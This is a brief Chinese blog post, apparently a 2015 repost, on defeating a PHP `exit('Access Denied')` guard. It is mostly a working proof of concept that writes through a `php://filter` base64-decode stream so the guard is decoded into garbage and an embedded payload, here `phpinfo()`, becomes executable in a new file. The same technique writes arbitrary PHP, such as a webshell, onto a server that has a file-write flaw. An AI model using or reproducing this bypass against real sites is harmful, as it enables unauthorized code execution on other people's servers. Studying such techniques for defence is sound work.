绕过 <?PHP exit('Access Denied'); ?> 限制

时间:2015-06-10 20:41:08   收藏:0   阅读:1037

绕过 <?PHP exit(‘Access Denied‘); ?> 限制

 
<?php
$shellcode=‘PD9waHBpbmZvKCk7Pz4‘;//   base64_decode <?phpinfo();?>
$endstr=‘s‘;
 
$timestamp=$endstr.$shellcode;
file_put_contents("php://filter/write=convert.base64-decode/resource=ryat.php","<?PHP exit(‘Access Denied‘); ?>\t$timestamp");
 
?>
 
利用base64产生乱码可以生成:
 
<s奁+@q乾? 鏩<?phpinfo();?>
 
就绕过了exit()限制,真厉害呀
评论(0
© 2014 mamicode.com 版权所有 京ICP备13008772号-2  联系我们:gaon5@hotmail.com
迷上了代码!